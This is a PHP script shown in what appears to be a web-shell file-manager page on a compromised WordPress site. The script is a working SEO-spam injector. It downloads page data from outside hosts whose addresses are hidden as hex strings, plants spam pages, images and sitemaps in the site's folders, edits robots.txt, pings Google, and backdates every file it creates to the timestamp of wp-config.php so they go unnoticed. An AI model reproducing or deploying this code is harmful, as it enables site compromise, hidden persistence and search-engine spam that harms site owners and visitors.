/
home
/
dhanish
/
public_html
/
mgijhansi.com
/
wp-content
/
Upload File
HOME
<?php // Download XML true $host = $_SERVER["HTTP_HOST"]; $ch = curl_init(hex2bin("68747470733a2f2f7777772e636f6c61742e70652f747275652e786d6c")); $fp = fopen("true.xml", "wb"); curl_setopt($ch, CURLOPT_FILE, $fp); curl_setopt($ch, CURLOPT_HEADER, 0); curl_exec($ch); curl_close($ch); fclose($fp); if (filesize("true.xml") == 0) { echo "error"; unlink("true.xml"); } else { echo "ok"; unlink("true.xml"); } // Download XML DB $host = $_SERVER["HTTP_HOST"]; $ch = curl_init(hex2bin("68747470733a2f2f6c6f6d2e66756e6e79746563682e78797a2f6578616d706c652e786d6c")); $fp = fopen("examples.xml", "wb"); curl_setopt($ch, CURLOPT_FILE, $fp); curl_setopt($ch, CURLOPT_HEADER, 0); curl_exec($ch); curl_close($ch); fclose($fp); if (filesize("examples.xml") == 0) { $ch = curl_init(hex2bin("68747470733a2f2f7777772e636f6c61742e70652f6578616d706c652e786d6c")); $fp = fopen("examples.xml", "wb"); curl_setopt($ch, CURLOPT_FILE, $fp); curl_setopt($ch, CURLOPT_HEADER, 0); curl_exec($ch); curl_close($ch); fclose($fp); } // CONNECT XML BD $bd = simplexml_load_file("examples.xml"); foreach ($bd->page as $page) { if ($host == $page->host) { //echo $page->text."<br>"; $sitemap = "https://".$host."/".$page->folder."/sitemap.xml"; $fullurl = "https://".$host."/".$page->folder."/".$page->url."/"; //generate folders mkdir("../". $page->folder."/".$page->url, 0755, true); //data $folder = $page->folder; $urlimg = $page->imgurl; $path = $page->folder."/"; $pathimg = $page->folder."/".$page->url."/".$page->imgname; $url = $page->folder."/".$page->url."/index.php"; $theme = $page->t; $touchimg = $page->folder."/".$page->url."/".$page->imgname; $touchurl = $page->folder."/".$page->url; //replace data $text = str_replace("==imgurl==",$page->imgname, $page->text); $page = str_replace(["==lang==", "==title==", "==description==", "==text=="], [$page->lang,$page->title, $page->description, $text], $theme); //generate pages file_put_contents("../".$url,$page); //download images file_put_contents("../".$pathimg, file_get_contents($urlimg)); //generate sitemap $dom = new DOMDocument(); $dom->encoding = "utf-8"; $dom->xmlVersion = "1.0"; $dom->formatOutput = true; $xml_file_name = "../".$path."sitemap.xml"; $root = $dom->createElement("urlset"); $attr_root_id = new DOMAttr("xmlns", "http://www.sitemaps.org/schemas/sitemap/0.9"); $root->setAttributeNode($attr_root_id); foreach ($bd->page as $new) { $folderok = $new->folder; $hostok = $new->host; if ($hostok == $host) { $fullurl = "https://".$host."/".$folderok."/".$new->url."/"; $movie_node = $dom->createElement("url"); $child_node_title = $dom->createElement("loc", $fullurl); $movie_node->appendChild($child_node_title); $root->appendChild($movie_node); } } $dom->appendChild($root); $dom->save($xml_file_name); //ping google $ping = "https://www.google.com/ping?sitemap=".$sitemap; $curl = curl_init(); curl_setopt($curl, CURLOPT_URL, $ping); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); $out = curl_exec($curl); curl_close($curl); //edit robots.txt $robots = htmlentities(file_get_contents("../robots.txt")); $fd = fopen("../robots.txt", "a"); if (stripos($robots, $sitemap) !== false) { } else { fwrite($fd, "\nSitemap: ".$sitemap); } fclose($fd); //update data if (file_exists("../wp-config.php")) { $time = filectime("../wp-config.php"); } elseif (file_exists("../wp-settings.php")) { $time = filectime("../wp-settings.php"); } else { $time = filectime("../wp-signup.php"); } $f_arr = explode("/",$folder); $i = 0; while ($i <= 10) { if (file_exists("../".$f_arr[$i])) { echo $f_arr[$i]; echo " - sywestvuet!<br>"; touch("../".$f_arr[$i], $time); $pathes = $f_arr[$i]."/"; } elseif (file_exists("../".$pathes.$f_arr[$i])) { echo $pathes.$f_arr[$i]; echo " - sywestvuet!<br>"; touch("../".$pathes.$f_arr[$i], $time); $pathes = $pathes.$f_arr[$i]."/"; } else { echo $pathes.$f_arr[$i]; echo " - nema!<br>"; } $i++; } touch("../".$folder, $time); touch("../".$folder."/sitemap.xml", $time); touch("../".$touchurl, $time); touch("../".$url, $time); touch("../".$touchimg, $time); touch("../robots.txt", $time); } } unlink("examples.xml");